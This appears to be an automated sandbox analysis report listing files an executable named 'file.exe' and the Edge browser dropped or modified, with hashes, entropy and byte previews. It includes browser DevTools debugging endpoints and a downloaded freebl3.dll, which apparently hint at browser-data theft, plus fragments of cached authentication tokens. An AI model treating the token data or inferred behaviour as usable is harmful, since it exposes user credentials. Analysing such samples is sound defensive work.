Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.005222468475799
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXJlwn4Yn:YWLSGTt1o9LuLgfGBPAzkVj/T8lgnVn
MD5:	53DE838673FB4C2268CB73CCE0916B43
SHA1:	75530CDD39753D26FB247EB9CF5E068239E41C54
SHA-256:	BD0E8826843DEEEEB0F277FDB711666AE932166E34F5D45EF24A854A2098327A
SHA-512:	ED1E517FE1AE2682A840366F304BA79641D9DB203E2F6DE60AB36D2E9142DA25B707F06E99CF5A87D2B67A6D34E483ADF3610EC79407E2253068707DCD9273E5
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732159157693750}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a7843265-9969-41f7-9c0b-8482eadf0710.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46123
Entropy (8bit):	6.087454399618088
Encrypted:	false
SSDEEP:	768:UMkbJrT8IeQcrQgJoiuUu4hDO6vP6OuQFwhuSPR77+3xIAB3lMCAoyGoup1Xl3jk:UMk1rT8HpoiE63hTMRoyhu3VlXr4t
MD5:	E5D2EA5C80C9561BB87DD7C2CBA15E4E
SHA1:	8FF4A39285F77FA869D1807CD90665261DB70EE7
SHA-256:	17122CAF122043681C142B97AE608639F7F52DC7EA853621E345B9DB7C7E1A5C
SHA-512:	EA45CE6267A7FFFF04F5B1266254FB6BE3EAF4455A546340F1A8A906D26CAE607342AB2D8AB72D22EC6F432D39D88971000F84BE6C2C151C54C20E6E5422CA99
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732058359"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\acbebecf-cdb7-47d3-b3f7-028d90d7457b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44612
Entropy (8bit):	6.096577175930531
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBRwu7hDO6vP6OuQZevYiTFkrcGoup1Xl3jVzXr4CW:z/Ps+wsI7ynEI6Hchu3VlXr4CRo1
MD5:	C366837A27D702E7927C7F027C3F7DC3
SHA1:	6DADC4F083ABCD31D39217017C118053AA133FBF
SHA-256:	DF3C2B83ECC02E454C44B363814AE48F598766F3D9CA2727D80CACE1DB6D5E45
SHA-512:	107AC49CDD3707678CB915E6CE6FE2F14A45FEF6B70FBDF7AC030C4F1E1AD0757F55C3268012320676046FB4D09A950747EF8926F2B49736E404C0759305F77D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c030e142-dd1e-496a-b807-bbb01eeb1ae1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44694
Entropy (8bit):	6.0961130585569405
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBwwu7hDO6vP6OuQRwhuSPR77+cGoup1Xl3jVzXr4z:z/Ps+wsI7yOEP6vchu3VlXr4CRo1
MD5:	3470A240D0C9E082833ABB38433D53C9
SHA1:	0CFDAAF2B2498029972EBCEE6292CCDF6D4FCF26
SHA-256:	B3998C1E04C3DB3EC7FCDD8108BC63523126E9C77B6E229B0FAE2EE80BAEEAAE
SHA-512:	3CF6A1930FAA9BFCDEAA73E6B9EE4C66774CF1B57C350179FDF276018BE453398CBD2C348247A7F3F2DC0966B02CB8DE5AA2F09C372DCEAC6C99888E5B87B251
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8347382858347694
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxbmxl9Il8uRFnxrlkoDCIQdmsFJHEd1rc:mGCYVxrCozQ40pD
MD5:	325D92A3442AF599A69EBB911ACBE16A
SHA1:	18ED068BD1C028CE3DACF13B9053FD4D62C9119C
SHA-256:	F95CAA9B595942701B9707BF0D9FE560B94FCDBE73A2F5DFBDC91705668D4AA7
SHA-512:	174FC9E78ACED66664F356B26BE896D698DA4F95D0883E5D828A8216BE58468E7B9761D771210246F87DA57032B7105DBA2443BF8B2AAEDED39A31ABB7796CF6
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.I.e.Z.1.u.E.6.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.r.h.Y.N.v.B.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.997345234104025
Encrypted:	false
SSDEEP:	48:uiTrlKxExpxD9Il8uRVCB13swYiLA1jy6HRPDXh8+LrMNVrE+O632hshcwNf32kL:XYwB12OA1zHdnMVK6m8cwNf32de
MD5:	7177267CC598776F284234462B6F6F8B
SHA1:	A84F3481B85069483CE01E90A34A1AE56E5500F3
SHA-256:	3644B83B62CD181269188C63EEA1D9768DE4DA1BB0E9B70147DBE710D58CC089
SHA-512:	5B0C557AFCACF17016B2CE65982D340D6EA1DB8EFF773EB6926A86790626CFFBB944A8EFAA884D467972DE4D63AFB6343EECB00B021E54547125AF5B7ADA96BB
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".J.U.t.S.v.N.k.6.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.r.h.Y.N.v.B.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9081878442864584
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7x7xl9Il8uRRpuZtj5Qg4CbKd1xstNJye1S9+d/vc:a1YhcTlzYKtNJJ6
MD5:	56F926F62AF47092D597AF3D7D2FEDB8
SHA1:	DCA134E49230CD0B7F3AE502D48AFE548356AA66
SHA-256:	1DCDA3CEBBF3321E5614AFA61C3C8310CA029715A9668F14A5F1FA8286DA817A
SHA-512:	49753B270AA7FD6AF5CE9336C272C9C22A050DD5BEC64213AE2D72041847F0228DCDB3E3E29896F23F22DB3E3DF686B5B1E4FCF8E4BF0726BA39FFD94749535B
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".B.K.4.9.7.a.p.Z.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.r.h.Y.N.v.B.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.398747305650197
Encrypted:	false
SSDEEP:	96:6NnQWHQ+NnQEAgbQErXNnQ89QdNnQldgEQgNnQwQ+NnQ1pgDQ1jNnQUwQfNnQ33X:6N9NVA+rXNgNU5NxNF+NbzN4
MD5:	48A07ED0D822829E933DDE6805C59FF9
SHA1:	1DF218E40C43D60464B23268857094ED289A5D21
SHA-256:	FCE3F81760F52FE1199F6A107C5F2AB991DE39745885F8590A3FC55231B44B4F
SHA-512:	2F575801F4B27EFC045FDE6ACB058728115729D57EBFDA2E081A50DFC75E51AA50C75A2857C41CA3A1DF627BF0A713149CBAB6410277BF87A4EDAEFE1CC1A643
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/AE70D6DA21FB30211BE4107B81B5E634",.. "id": "AE70D6DA21FB30211BE4107B81B5E634",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/AE70D6DA21FB30211BE4107B81B5E634"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/32FF6992D4AA43804FD06B20AA803DDB",.. "id": "32FF6992D4AA43804FD06B20AA803DDB",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/32FF6992D4AA43804FD06B20AA803DDB"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
